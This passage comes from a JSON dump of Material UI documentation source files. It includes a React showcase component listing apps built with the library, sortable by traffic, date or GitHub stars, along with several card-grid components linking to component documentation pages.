    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Grid from '@mui/material/Grid';\nimport ToggleButton from '@mui/material/ToggleButton';\nimport ToggleButtonGroup from '@mui/material/ToggleButtonGroup';\nimport Card from '@mui/material/Card';\nimport CardMedia from '@mui/material/CardMedia';\nimport Typography from '@mui/material/Typography';\nimport IconButton from '@mui/material/IconButton';\nimport GitHubIcon from '@mui/icons-material/GitHub';\nimport CalendarMonthRoundedIcon from '@mui/icons-material/CalendarMonthRounded';\nimport { alpha } from '@mui/material/styles';\nimport { Link } from '@mui/docs/Link';\nimport { useTranslate } from '@mui/docs/i18n';\n\n/**\n * The app structure:\n *\n * {\n *   title: string;\n *   description: string;\n *   image?: string;\n *   link: string;\n *   source?: string;\n *   similarWebVisits?: number;\n *   dateAdded: string; // ISO 8601 format: YYYY-MM-DD\n * }\n */\n\nconst appList = [\n  {\n    title: 'd-cide',\n    description:\n      'A progressive Web App to make rational decisions in workshops. ' +\n      'It uses Material UI with a neumorphic custom theme.',\n    image: 'dcide.jpg',\n    link: 'https://d-cide.me/',\n    source: 'https://github.com/cjoecker/d-cide',\n    dateAdded: '2020-07-01',\n  },\n  {\n    title: 'QuintoAndar',\n    description:\n      'QuintoAndar is a company that uses technology and ' +\n      'design to simplify the rental of residential real estate.',\n    image: 'quintoandar.jpg',\n    link: 'https://www.quintoandar.com.br/',\n    similarWebVisits: 8500,\n    dateAdded: '2019-05-08',\n  },\n  {\n    title: 'Bethesda.net',\n    description:\n      'The official site for Bethesda, publisher of Fallout, DOOM, Dishonored, ' +\n      'Skyrim, Wolfenstein, The Elder Scrolls, more. Your source for news, features & community.',\n    image: 'bethesda.jpg',\n    link: 'https://bethesda.net/',\n    similarWebVisits: 4000,\n    dateAdded: '2019-01-01',\n  },\n  {\n    title: 'OpenClassrooms',\n    description:\n      'OpenClassrooms is an online platform offering top quality, ' +\n      'education-to-employment programs and career coaching services for students worldwide. ',\n    image: 'openclassrooms.png',\n    link: 'https://openclassrooms.com/en/',\n    similarWebVisits: 6000,\n    dateAdded: '2018-01-24',\n  },\n  {\n    title: 'Codementor',\n    description:\n      'Codementor is the largest community for developer mentorship and an on-demand marketplace ' +\n      'for software developers. Get instant coding help, build projects faster, ' +\n      'and read programming tutorials from our community of developers.',\n    image: 'codementor.jpg',\n    link: 'https://www.codementor.io/',\n    similarWebVisits: 1500,\n    dateAdded: '2018-01-24',\n  },\n  {\n    title: 'BARKS',\n    description: 'Japan Music Network. 🇯🇵',\n    image: 'barks.jpg',\n    link: 'https://barks.jp/',\n    similarWebVisits: 3000,\n    dateAdded: '2019-01-01',\n  },\n  {\n    title: 'GovX',\n    description:\n      'Current & former uniformed professionals get exclusive access to deals ' +\n      'on gear, apparel, tickets, travel and more.',\n    image: 'govx.jpg',\n    link: 'https://www.govx.com/',\n    similarWebVisits: 2000,\n    dateAdded: '2018-01-31',\n  },\n  {\n    title: 'Hijup',\n    description: 'A pioneering Muslim Fashion e-commerce site.',\n    image: 'hijup.jpg',\n    link: 'https://www.hijup.com/',\n    similarWebVisits: 328,\n    dateAdded: '2018-01-18',\n  },\n  {\n    title: 'iFit',\n    description:\n      'Get the best personal training, right at home. Access hundreds of training programs, ' +\n      'unique health tips, and expert advice that will lead you to a healthier lifestyle.',\n    image: 'ifit.jpg',\n    link: 'https://www.ifit.com/',\n    similarWebVisits: 304,\n    dateAdded: '2019-01-01',\n  },\n  {\n    title: 'EQ3',\n    description: 'Modern Furniture & Accessories, designed in Canada, for everyday living.',\n    image: 'eq3.jpg',\n    link: 'https://www.eq3.com/ca/en',\n    similarWebVisits: 256,\n    dateAdded: '2018-01-24',\n  },\n  {\n    title: 'Housecall Pro',\n    description:\n      'The #1 rated mobile software to run your home service business. ' +\n      'Schedule, dispatch, GPS track employees, invoice, accept credit cards and get booked ' +\n      'online. The marketing website is also built with Material UI: https://www.housecallpro.com/',\n    image: 'housecall.jpg',\n    link: 'https://pro.housecallpro.com/pro/log_in',\n    similarWebVisits: 1800,\n    dateAdded: '2019-01-01',\n  },\n  {\n    title: 'CityAds',\n    description:\n      'CityAds Media: global technology platform for online performance marketing ' +\n      'powered by big data',\n    image: 'cityads.jpg',\n    link: 'https://cityads.com/main',\n    similarWebVisits: 132,\n    dateAdded: '2019-01-01',\n  },\n  {\n    title: 'EOS Toolkit',\n    description:\n      'EOSToolkit is the premier free, open source interface for managing EOS ' +\n      'accounts. Create, transfer, stake, vote and more with Scatter!',\n    image: 'eostoolkit.jpg',\n    link: 'https://eostoolkit.io/',\n    source: 'https://github.com/eostoolkit/eostoolkit',\n    stars: 91,\n    dateAdded: '2019-01-01',\n  },\n  {\n    title: 'The Media Ant',\n    description:\n      \"India's Largest online marketing service provider, \" +\n      'with more than 200K advertising options, and more than 1M satisfied customers.',\n    image: 'themediaant.jpg',\n    link: 'https://www.themediaant.com/',\n    similarWebVisits: 90,\n    dateAdded: '2019-01-01',\n  },\n  {\n    title: 'Forex Bank',\n    description:\n      'Vi kan tilby kjapp og enkel valutaveksling, pengeoverføringer, samt kjøp av norsk veksel. ' +\n      '🇳🇴',\n    image: 'forex.jpg',\n    link: 'https://www.forex.no/',\n    similarWebVisits: 95,\n    dateAdded: '2018-01-24',\n  },\n  {\n    title: 'LessWrong',\n    description: 'LessWrong is a community blog devoted to the art of human rationality.',\n    image: 'lesswrong.jpg',\n    link: 'https://www.lesswrong.com/',\n    similarWebVisits: 1000,\n    dateAdded: '2018-01-28',\n  },\n  {\n    title: 'ODIGEO Connect',\n    description:\n      \"Connect your hotel, B&B and apartment with Europe's #1 flight OTA \" +\n      'and distribute it to millions of travellers.',\n    image: 'odigeo.jpg',\n    link: 'https://www.odigeoconnect.com/',\n    dateAdded: '2019-01-01',\n  },\n  {\n    title: 'comet',\n    description:\n      'Comet lets you track code, experiments, and results on ML projects. ' +\n      \"It's fast, simple, and free for open source projects.\",\n    image: 'comet.jpg',\n    link: 'https://www.comet.com/site/',\n    similarWebVisits: 180,\n    dateAdded: '2019-01-01',\n  },\n  {\n    title: 'Pointer',\n    description:\n      'Revestimentos cerâmicos para pisos e paredes com qualidade e design acessível. ' +\n      'A Pointer faz parte da Portobello e atua no Nordeste do Brasil. 🇧🇷',\n    image: 'pointer.jpg',\n    link: 'https://www.pointer.com.br/',\n    dateAdded: '2019-01-01',\n  },\n  {\n    title: 'Oneplanetcrowd',\n    description:\n      \"Oneplanetcrowd is Europe's leading sustainable crowdfunding platform for People & Planet.\",\n    image: 'oneplanetcrowd.jpg',\n    link: 'https://www.oneplanetcrowd.com/en',\n    dateAdded: '2019-01-01',\n  },\n  {\n    title: 'CollegeAI',\n    description:\n      'Get a college recommendation and your chances using the best college predictor. ' +\n      \"Answer some questions and we'll calculate where you fit in best with our college finder \" +\n      'and college matching tools. CollegeAI is an admissions and college counselor, college ' +\n      'planner, and college chance calculator.',\n    image: 'collegeai.jpg',\n    link: 'https://collegeai.com',\n    dateAdded: '2019-01-01',\n  },\n  {\n    title: 'react-admin',\n    description:\n      'The admin of an imaginary poster shop, used as a demo for the react-admin framework. ' +\n      'Uses many material-ui components, including tables, forms, snackbars, buttons, and ' +\n      'theming. The UI is responsive. The code is open-source!',\n    image: 'posters-galore.jpg',\n    link: 'https://marmelab.com/react-admin-demo/',\n    source: 'https://github.com/marmelab/react-admin',\n    dateAdded: '2018-01-21',\n    stars: 18500,\n  },\n  {\n    title: 'Builder Book',\n    description:\n      'Books to learn how to build full-stack, production-ready JavaScript web applications from scratch. ' +\n      'Learn React, Material UI, Next, Express, Mongoose, MongoDB, third party APIs, and more.',\n    image: 'builderbook.jpg',\n    link: 'https://builderbook.org/',\n    source: 'https://github.com/async-labs/builderbook',\n    stars: 3000,\n    dateAdded: '2018-01-05',\n  },\n  {\n    title: 'Commit Swimming',\n    description: 'The #1 workout journal for coaches and swimmers.',\n    image: 'commitswimming.jpg',\n    link: 'https://commitswimming.com/',\n    dateAdded: '2019-01-01',\n  },\n  {\n    title: 'EventHi',\n    description:\n      'Cannabis event platform to create and coordinate Cannabis events for the Cannabis ' +\n      'community. Use our easy ticketing system, sponsor, and sell merchandise.',\n    image: 'eventhi.jpg',\n    link: 'https://eventhi.io/',\n    dateAdded: '2019-01-01',\n  },\n  {\n    title: 'Iceberg Finder',\n    description:\n      'Whether spotting them from outer space, or standing on our coastline, ' +\n      'IcebergFinder.com is your premier place for finding bergs in Newfoundland and Labrador.',\n    image: 'icebergfinder.jpg',\n    link: 'https://icebergfinder.com/',\n    dateAdded: '2019-01-01',\n  },\n  {\n    title: 'MetaFact',\n    description:\n      \"Metafact is a place to verify knowledge via the world's top experts. \" +\n      \"It's a platform to ask questions, learn the facts and share the truth.\",\n    image: 'metafact.jpg',\n    link: 'https://metafact.io/',\n    dateAdded: '2019-01-01',\n  },\n  {\n    title: 'AudioNodes',\n    description:\n      'Modular audio production suite with multi-track audio mixing, audio effects, ' +\n      'parameter automation, MIDI editing, synthesis, cloud production, and more.',\n    image: 'audionodes.jpg',\n    link: 'https://www.audionodes.com/',\n    dateAdded: '2018-01-07',\n  },\n  {\n    title: 'SlidesUp',\n    description: 'SlidesUp is a platform to help conference organizers plan their events.',\n    image: 'slidesup.jpg',\n    link: 'https://slidesup.com/',\n    dateAdded: '2018-01-03',\n  },\n  {\n    title: 'Typekev',\n    description: 'The personal site of Kevin Gonzalez, featuring his witty chatbot.',\n    image: 'typekev.jpg',\n    link: 'https://typekev.com/',\n    source: 'https://github.com/typekev/typekev-site',\n    stars: 10,\n    dateAdded: '2018-01-23',\n  },\n  {\n    title: 'npm registry browser',\n    description:\n      'An open source web app that lets you search the npm registry ' +\n      'and browse packages details.',\n    image: 'npm-registry-browser.jpg',\n    link: 'https://topheman.github.io/npm-registry-browser/',\n    source: 'https://github.com/topheman/npm-registry-browser',\n    stars: 90,\n    dateAdded: '2018-01-15',\n  },\n  {\n    title: 'Snippets Chrome Extension',\n    description:\n      'An open source Chrome extension allowing you to import and execute JavaScript code ' +\n      'snippets from GitHub.',\n    image: 'snippets.jpg',\n    link: 'https://chrome.google.com/webstore/detail/snippets/dcibnkkafifbanoclgjbkmkbogijndin',\n    source: 'https://github.com/richardscarrott/snippets',\n    stars: 42,\n    dateAdded: '2018-01-19',\n  },\n  {\n    title: 'Tree',\n    description:\n      'An open source top 100 documentaries (personal opinion) app with React Hooks and Material UI.',\n    link: 'https://tree.valleyease.me/',\n    image: 'tree.jpg',\n    source: 'https://github.com/ValleyZw/tree',\n    stars: 24,\n    dateAdded: '2018-01-25',\n  },\n  {\n    title: 'TagSpaces',\n    description:\n      'TagSpaces is an offline, open source, file manager.' +\n      'It helps organizing your files and folders with tags and colors.',\n    image: 'tagspaces.jpg',\n    link: 'https://www.tagspaces.org/demo/',\n    source: 'https://github.com/tagspaces/tagspaces',\n    stars: 2500,\n    dateAdded: '2019-11-01',\n  },\n  {\n    title: 'HiFiveWork',\n    description: 'HiFiveWork, the cool tool for leave management',\n    image: 'hifivework.png',\n    link: 'https://hifivework.com/',\n    dateAdded: '2020-01-08',\n  },\n  {\n    title: 'FANSPO',\n    description: 'NBA trade machine and social analysis tools for the basketball community.',\n    image: 'tradenba.jpg',\n    link: 'https://fanspo.com/',\n    similarWebVisits: 417,\n    dateAdded: '2020-01-20',\n  },\n  {\n    title: 'Backstage',\n    description: 'Backstage is an open platform by Spotify for building developer portals.',\n    image: 'backstage.jpg',\n    link: 'https://backstage.io',\n    source: 'https://github.com/backstage/backstage',\n    stars: 14300,\n    dateAdded: '2020-08-31',\n  },\n  {\n    title: 'buybags',\n    description: 'buybags is a fashion shopping aggregator in Germany.',\n    image: 'buybags.jpg',\n    link: 'https://www.buybags.de/',\n    dateAdded: '2020-10-08',\n  },\n  {\n    title: 'react-admin CRM demo',\n    description: 'A full-featured Customer Relationship Management app',\n    image: 'atomiccrm.jpg',\n    link: 'https://marmelab.com/react-admin-crm/',\n    source: 'https://github.com/marmelab/react-admin/tree/master/examples/crm',\n    stars: 18500,\n    dateAdded: '2021-05-06',\n  },\n  {\n    title: 'MQTT Explorer',\n    description:\n      'A comprehensive MQTT Client which visualizes broker traffic in a hierarchical view. ' +\n      'The protocol is used in many IoT and home automation scenarios, ' +\n      'making integrating new services dead easy.',\n    link: 'https://mqtt-explorer.com/',\n    source: 'https://github.com/thomasnordquist/MQTT-Explorer',\n    image: 'mqtt-explorer.png',\n    stars: 1600,\n    dateAdded: '2019-03-25',\n  },\n  {\n    title: 'Refine Foods demo',\n    description: 'A full-featured Admin panel app',\n    image: 'refine-foods.jpeg',\n    link: 'https://example.mui.admin.refine.dev/',\n    source: 'https://github.com/pankod/refine/tree/next/examples/fineFoods/admin/mui',\n    stars: 2415,\n    dateAdded: '2022-06-21',\n  },\n];\n\n// Returns a function that sorts reverse numerically by value of `key`\nfunction sortFactory(key) {\n  return function sortNumeric(a, b) {\n    if (b[key] < a[key]) {\n      return -1;\n    }\n    if (b[key] > a[key]) {\n      return 1;\n    }\n    return 0;\n  };\n}\n\nconst sortFunctions = {\n  dateAdded: sortFactory('dateAdded'),\n  similarWebVisits: sortFactory('similarWebVisits'),\n  stars: sortFactory('stars'),\n};\n\nexport default function MaterialShowcase() {\n  const [sortFunctionName, setSortFunctionName] = React.useState('similarWebVisits');\n  const sortFunction = sortFunctions[sortFunctionName];\n  const t = useTranslate();\n\n  const handleChangeSort = (event) => {\n    setSortFunctionName(event.target.value);\n  };\n\n  return (\n    <React.Fragment>\n      <Box sx={{ display: 'flex', alignItems: 'center', gap: 1, mb: 3 }}>\n        <Typography variant=\"body2\" sx={{ color: 'text.secondary', fontWeight: 'semiBold' }}>\n          {'Sort by:'}\n        </Typography>\n        <ToggleButtonGroup\n          size=\"small\"\n          color=\"primary\"\n          value={sortFunctionName}\n          onChange={handleChangeSort}\n          exclusive\n        >\n          <ToggleButton value=\"similarWebVisits\">{t('traffic')}</ToggleButton>\n          <ToggleButton value=\"dateAdded\">{t('newest')}</ToggleButton>\n          <ToggleButton value=\"stars\">{t('stars')}</ToggleButton>\n        </ToggleButtonGroup>\n      </Box>\n      <Grid container spacing={3}>\n        {appList\n          .filter((item) => item[sortFunctionName] !== undefined)\n          .sort(sortFunction)\n          .map((app) => (\n            <Grid key={app.title} size={{ xs: 12, sm: 6 }}>\n              {app.image ? (\n                <Card\n                  variant=\"outlined\"\n                  sx={(theme) => ({\n                    height: '100%',\n                    display: 'flex',\n                    flexDirection: 'column',\n                    p: 2,\n                    gap: 2,\n                    borderRadius: 1,\n                    backgroundColor: `${alpha(theme.palette.grey[50], 0.3)}`,\n                    borderColor: 'divider',\n                    ...theme.applyDarkStyles({\n                      backgroundColor: `${alpha(theme.palette.primaryDark[700], 0.2)}`,\n                      borderColor: 'divider',\n                    }),\n                  })}\n                >\n                  <a href={app.link} rel=\"noopener nofollow\" target=\"_blank\" aria-label={app.title}>\n                    <CardMedia\n                      component=\"img\"\n                      loading=\"lazy\"\n                      width=\"600\"\n                      height=\"450\"\n                      src={`/static/images/showcase/${app.image}`}\n                      title={app.title}\n                      sx={(theme) => ({\n                        height: 'auto',\n                        borderRadius: '6px',\n                        bgcolor: 'currentColor',\n                        border: '1px solid',\n                        borderColor: 'divider',\n                        color: 'grey.100',\n                        ...theme.applyDarkStyles({\n                          color: 'primaryDark.900',\n                        }),\n                      })}\n                    />\n                  </a>\n                  <Box sx={{ flexGrow: 1, display: 'flex', flexDirection: 'column', gap: 0.5 }}>\n                    <Typography\n                      component=\"h2\"\n                      variant=\"body1\"\n                      sx={{\n                        fontWeight: 'semiBold',\n                        display: 'flex',\n                        alignItems: 'center',\n                        justifyContent: 'space-between',\n                      }}\n                    >\n                      <span>{app.title}</span>\n                      {app.source ? (\n                        <IconButton\n                          href={app.source}\n                          target=\"_blank\"\n                          aria-label={`${app.title} ${t('sourceCode')}`}\n                        >\n                          <GitHubIcon fontSize=\"small\" />\n                        </IconButton>\n                      ) : null}\n                    </Typography>\n                    <Typography variant=\"body2\" sx={{ color: 'text.secondary', flexGrow: 1 }}>\n                      {app.description}\n                    </Typography>\n                    <Typography\n                      variant=\"caption\"\n                      sx={{\n                        fontWeight: 'semiBold',\n                        color: 'text.secondary',\n                        mt: 1,\n                        display: 'flex',\n                        alignItems: 'center',\n                        gap: 0.5,\n                      }}\n                    >\n                      <CalendarMonthRoundedIcon sx={{ fontSize: 17, opacity: 0.8 }} />\n                      {app.dateAdded}\n                    </Typography>\n                  </Box>\n                </Card>\n              ) : (\n                <Link\n                  variant=\"body2\"\n                  target=\"_blank\"\n                  rel=\"noopener nofollow\"\n                  href={app.link}\n                  gutterBottom\n                >\n                  {t('visit')}\n                </Link>\n              )}\n            </Grid>\n          ))}\n      </Grid>\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "docs/src/modules/components/MaterialStartingLinksCollection.js",
    "content": "import Grid from '@mui/material/Grid';\nimport InstallDesktopRoundedIcon from '@mui/icons-material/InstallDesktopRounded';\nimport WebRoundedIcon from '@mui/icons-material/WebRounded';\nimport DrawRoundedIcon from '@mui/icons-material/DrawRounded';\nimport PlayCircleFilledWhiteRoundedIcon from '@mui/icons-material/PlayCircleFilledWhiteRounded';\nimport DesignServicesRoundedIcon from '@mui/icons-material/DesignServicesRounded';\nimport { InfoCard } from '@mui/docs/InfoCard';\n\nconst content = [\n  {\n    title: 'Installation',\n    description: 'Add Material UI to your project with a few commands.',\n    link: '/material-ui/getting-started/installation/',\n    icon: <InstallDesktopRoundedIcon color=\"primary\" />,\n  },\n  {\n    title: 'Usage',\n    description: 'Learn the basics about Material UI components.',\n    link: '/material-ui/getting-started/usage/',\n    icon: <DrawRoundedIcon color=\"primary\" />,\n  },\n  {\n    title: 'Example projects',\n    description: 'A collection of boilerplates to jumpstart your next project.',\n    link: '/material-ui/getting-started/example-projects/',\n    icon: <PlayCircleFilledWhiteRoundedIcon color=\"primary\" />,\n  },\n  {\n    title: 'Customizing components',\n    description: 'Learn about the available customization methods.',\n    link: '/material-ui/customization/how-to-customize/',\n    icon: <DesignServicesRoundedIcon color=\"primary\" />,\n  },\n  {\n    title: 'Templates',\n    description: 'Get started with a selection of free templates.',\n    link: '/material-ui/getting-started/templates/',\n    icon: <WebRoundedIcon color=\"primary\" />,\n  },\n  {\n    title: 'Design resources',\n    description: 'The Material UI components in your favorite design tool.',\n    link: 'https://www.figma.com/community/file/912837788133317724/material-ui-for-figma-and-mui-x',\n    icon: (\n      <img\n        src={`/static/branding/design-kits/figma-logo.svg`}\n        alt=\"Figma logo\"\n        loading=\"lazy\"\n        width=\"18\"\n        height=\"18\"\n      />\n    ),\n  },\n];\n\nexport default function MaterialStartingLinksCollection() {\n  return (\n    <Grid container spacing={2}>\n      {content.map(({ icon, title, description, link }) => (\n        <Grid key={title} size={{ xs: 12, sm: 6, md: 4 }}>\n          <InfoCard\n            classNameTitle=\"algolia-lvl3\"\n            classNameDescription=\"algolia-content\"\n            link={link}\n            title={title}\n            icon={icon}\n            description={description}\n          />\n        </Grid>\n      ))}\n    </Grid>\n  );\n}\n"
  },
  {
    "path": "docs/src/modules/components/MaterialUIComponents/MaterialDataDisplayComponents.js",
    "content": "import Grid from '@mui/material/Grid';\nimport ComponentShowcaseCard from 'docs/src/components/action/ComponentShowcaseCard';\n\nconst dataDisplayComponents = [\n  {\n    name: 'Avatar',\n    srcLight: '/static/material-ui/react-components/avatar-light.png',\n    srcDark: '/static/material-ui/react-components/avatar-dark.png',\n    link: '/material-ui/react-avatar/',\n    md1: false,\n    md2: false,\n    md3: false,\n    noGuidelines: true,\n  },\n  {\n    name: 'Badge',\n    srcLight: '/static/material-ui/react-components/badge-light.png',\n    srcDark: '/static/material-ui/react-components/badge-dark.png',\n    link: '/material-ui/react-badge/',\n    md1: false,\n    md2: false,\n    md3: false,\n    noGuidelines: false,\n  },\n  {\n    name: 'Chip',\n    srcLight: '/static/material-ui/react-components/chip-light.png',\n    srcDark: '/static/material-ui/react-components/chip-dark.png',\n    link: '/material-ui/react-chip/',\n    md1: false,\n    md2: true,\n    md3: false,\n    noGuidelines: false,\n  },\n  {\n    name: 'Divider',\n    srcLight: '/static/material-ui/react-components/divider-light.png',\n    srcDark: '/static/material-ui/react-components/divider-dark.png',\n    link: '/material-ui/react-divider/',\n    md1: false,\n    md2: true,\n    md3: false,\n    noGuidelines: false,\n  },\n  {\n    name: 'Icons',\n    srcLight: '/static/material-ui/react-components/icons-light.png',\n    srcDark: '/static/material-ui/react-components/icons-dark.png',\n    link: '/material-ui/icons/',\n    md1: false,\n    md2: true,\n    md3: false,\n    noGuidelines: false,\n  },\n  {\n    name: 'Material Icons',\n    srcLight: '/static/material-ui/react-components/material-icons-light.png',\n    srcDark: '/static/material-ui/react-components/material-icons-dark.png',\n    link: '/material-ui/material-icons/',\n    md1: false,\n    md2: true,\n    md3: false,\n    noGuidelines: false,\n  },\n  {\n    name: 'List',\n    srcLight: '/static/material-ui/react-components/list-light.png',\n    srcDark: '/static/material-ui/react-components/list-dark.png',\n    link: '/material-ui/react-list/',\n    md1: false,\n    md2: true,\n    md3: false,\n    noGuidelines: false,\n  },\n  {\n    name: 'Table',\n    srcLight: '/static/material-ui/react-components/table-light.png',\n    srcDark: '/static/material-ui/react-components/table-dark.png',\n    link: '/material-ui/react-table/',\n    md1: false,\n    md2: true,\n    md3: false,\n    noGuidelines: false,\n  },\n  {\n    name: 'Tooltip',\n    srcLight: '/static/material-ui/react-components/tooltip-light.png',\n    srcDark: '/static/material-ui/react-components/tooltip-dark.png',\n    link: '/material-ui/react-tooltip/',\n    md1: false,\n    md2: true,\n    md3: false,\n    noGuidelines: false,\n  },\n  {\n    name: 'Typography',\n    srcLight: '/static/material-ui/react-components/typography-light.png',\n    srcDark: '/static/material-ui/react-components/typography-dark.png',\n    link: '/material-ui/react-typography/',\n    md1: false,\n    md2: true,\n    md3: false,\n    noGuidelines: false,\n  },\n];\n\nexport default function MaterialDataDisplayComponents() {\n  return (\n    <Grid container spacing={2} sx={{ pt: 1 }}>\n      {dataDisplayComponents.map(\n        ({ name, link, srcLight, srcDark, md1, md2, md3, noGuidelines }) => (\n          <Grid\n            sx={{ flexGrow: 1 }}\n            key={name}\n            size={{\n              xs: 12,\n              sm: 4,\n            }}\n          >\n            <ComponentShowcaseCard\n              link={link}\n              name={name}\n              srcLight={srcLight}\n              srcDark={srcDark}\n              md1={md1}\n              md2={md2}\n              md3={md3}\n              noGuidelines={noGuidelines}\n            />\n          </Grid>\n        ),\n      )}\n    </Grid>\n  );\n}\n"
  },
  {
    "path": "docs/src/modules/components/MaterialUIComponents/MaterialFeedbackComponents.js",
    "content": "import Grid from '@mui/material/Grid';\nimport ComponentShowcaseCard from 'docs/src/components/action/ComponentShowcaseCard';\n\nconst feedbackComponents = [\n  {\n    name: 'Alert',\n    srcLight: '/static/material-ui/react-components/alert-light.png',\n    srcDark: '/static/material-ui/react-components/alert-dark.png',\n    link: '/material-ui/react-alert/',\n    md1: false,\n    md2: false,\n    md3: false,\n    noGuidelines: true,\n  },\n  {\n    name: 'Backdrop',\n    srcLight: '/static/material-ui/react-components/backdrop-light.png',\n    srcDark: '/static/material-ui/react-components/backdrop-dark.png',\n    link: '/material-ui/react-backdrop/',\n    md1: false,\n    md2: false,\n    md3: false,\n    noGuidelines: true,\n  },\n  {\n    name: 'Dialog',\n    srcLight: '/static/material-ui/react-components/dialog-light.png',\n    srcDark: '/static/material-ui/react-components/dialog-dark.png',\n    link: '/material-ui/react-dialog/',\n    md1: false,\n    md2: true,\n    md3: false,\n    noGuidelines: false,\n  },\n  {\n    name: 'Progress',\n    srcLight: '/static/material-ui/react-components/progress-light.png',\n    srcDark: '/static/material-ui/react-components/progress-dark.png',\n    link: '/material-ui/react-progress/',\n    md1: false,\n    md2: true,\n    md3: false,\n    noGuidelines: false,\n  },\n  {\n    name: 'Skeleton',\n    srcLight: '/static/material-ui/react-components/skeleton-light.png',\n    srcDark: '/static/material-ui/react-components/skeleton-dark.png',\n    link: '/material-ui/react-skeleton/',\n    md1: false,\n    md2: false,\n    md3: false,\n    noGuidelines: true,\n  },\n  {\n    name: 'Snackbar',\n    srcLight: '/static/material-ui/react-components/snackbar-light.png',\n    srcDark: '/static/material-ui/react-components/snackbar-dark.png',\n    link: '/material-ui/react-snackbar/',\n    md1: false,\n    md2: true,\n    md3: false,\n    noGuidelines: false,\n  },\n];\n\nexport default function MaterialFeedbackComponents() {\n  return (\n    <Grid container spacing={2} sx={{ pt: 1 }}>\n      {feedbackComponents.map(({ name, link, srcLight, srcDark, md1, md2, md3, noGuidelines }) => (\n        <Grid\n          sx={{ flexGrow: 1 }}\n          key={name}\n          size={{\n            xs: 12,\n            sm: 4,\n          }}\n        >\n          <ComponentShowcaseCard\n            link={link}\n            name={name}\n            srcLight={srcLight}\n            srcDark={srcDark}\n            md1={md1}\n            md2={md2}\n            md3={md3}\n            noGuidelines={noGuidelines}\n          />\n        </Grid>\n      ))}\n    </Grid>\n  );\n}\n"
  },
  {
    "path": "docs/src/modules/components/MaterialUIComponents/MaterialInputComponents.js",
    "content": "import Grid from '@mui/material/Grid';\nimport ComponentShowcaseCard from 'docs/src/components/action/ComponentShowcaseCard';\n\nconst inputComponents = [\n  {\n    name: 'Autocomplete',\n    srcLight: '/static/material-ui/react-components/autocomplete-light.png',\n    srcDark: '/static/material-ui/react-components/autocomplete-dark.png',\n    link: '/material-ui/react-autocomplete/',\n    md1: false,\n    md2: false,\n    md3: false,\n    noGuidelines: true,\n  },\n  {\n    name: 'Button',\n    srcLight: '/static/material-ui/react-components/button-light.png',\n    srcDark: '/static/material-ui/react-components/button-dark.png',\n    link: '/material-ui/react-button/',\n    md1: false,\n    md2: true,\n    md3: false,\n    noGuidelines: false,\n  },\n  {\n    name: 'Button Group',\n    srcLight: '/static/material-ui/react-components/button-group-light.png',\n    srcDark: '/static/material-ui/react-components/button-group-dark.png',\n    link: '/material-ui/react-button-group/',\n    md1: false,\n    md2: false,\n    md3: false,\n    noGuidelines: true,\n  },\n  {\n    name: 'Checkbox',\n    srcLight: '/static/material-ui/react-components/checkbox-light.png',\n    srcDark: '/static/material-ui/react-components/checkbox-dark.png',\n    link: '/material-ui/react-checkbox/',\n    md1: false,\n    md2: true,\n    md3: false,\n    noGuidelines: false,\n  },\n  {\n    name: 'Floating Action Button',\n    srcLight: '/static/material-ui/react-components/fab-light.png',\n    srcDark: '/static/material-ui/react-components/fab-dark.png',\n    link: '/material-ui/react-floating-action-button/',\n    md1: false,\n    md2: true,\n    md3: false,\n    noGuidelines: false,\n  },\n  {\n    name: 'Radio Group',\n    srcLight: '/static/material-ui/react-components/radio-group-light.png',\n    srcDark: '/static/material-ui/react-components/radio-group-dark.png',\n    link: '/material-ui/react-radio-button/',\n    md1: false,\n    md2: true,\n    md3: false,\n    noGuidelines: false,\n  },\n  {\n    name: 'Rating',\n    srcLight: '/static/material-ui/react-components/rating-light.png',\n    srcDark: '/static/material-ui/react-components/rating-dark.png',\n    link: '/material-ui/react-rating/',\n    md1: false,\n    md2: false,\n    md3: false,\n    noGuidelines: true,\n  },\n  {\n    name: 'Select',\n    srcLight: '/static/material-ui/react-components/select-light.png',\n    srcDark: '/static/material-ui/react-components/select-dark.png',\n    link: '/material-ui/react-select/',\n    md1: false,\n    md2: true,\n    md3: false,\n    noGuidelines: false,\n  },\n  {\n    name: 'Slider',\n    srcLight: '/static/material-ui/react-components/slider-light.png',\n    srcDark: '/static/material-ui/react-components/slider-dark.png',\n    link: '/material-ui/react-slider/',\n    md1: false,\n    md2: true,\n    md3: false,\n    noGuidelines: false,\n  },\n  {\n    name: 'Switch',\n    srcLight: '/static/material-ui/react-components/switch-light.png',\n    srcDark: '/static/material-ui/react-components/switch-dark.png',\n    link: '/material-ui/react-switch/',\n    md1: false,\n    md2: true,\n    md3: false,\n    noGuidelines: false,\n  },\n  {\n    name: 'Text Field',\n    srcLight: '/static/material-ui/react-components/text-field-light.png',\n    srcDark: '/static/material-ui/react-components/text-field-dark.png',\n    link: '/material-ui/react-text-field/',\n    md1: false,\n    md2: true,\n    md3: false,\n    noGuidelines: false,\n  },\n  {\n    name: 'Transfer List',\n    srcLight: '/static/material-ui/react-components/transfer-list-light.png',\n    srcDark: '/static/material-ui/react-components/transfer-list-dark.png',\n    link: '/material-ui/react-transfer-list/',\n    md1: false,\n    md2: false,\n    md3: false,\n    noGuidelines: true,\n  },\n  {\n    name: 'Toggle Button',\n    srcLight: '/static/material-ui/react-components/toggle-button-light.png',\n    srcDark: '/static/material-ui/react-components/toggle-button-dark.png',\n    link: '/material-ui/react-toggle-button/',\n    md1: false,\n    md2: false,\n    md3: false,\n    noGuidelines: true,\n  },\n];\n\nexport default function MaterialInputComponents() {\n  return (\n    <Grid container spacing={2} sx={{ pt: 1 }}>\n      {inputComponents.map(({ name, link, srcLight, srcDark, md1, md2, md3, noGuidelines }) => (\n        <Grid\n          sx={{ flexGrow: 1 }}\n          key={name}\n          size={{\n            xs: 12,\n            sm: 4,\n          }}\n        >\n          <ComponentShowcaseCard\n            link={link}\n            name={name}\n            srcLight={srcLight}\n            srcDark={srcDark}\n            md1={md1}\n            md2={md2}\n            md3={md3}\n            noGuidelines={noGuidelines}\n            imgLoading=\"eager\"\n          />\n        </Grid>\n      ))}\n    </Grid>\n  );\n}\n"
  },
  {
    "path": "docs/src/modules/components/MaterialUIComponents/MaterialLabComponents.js",
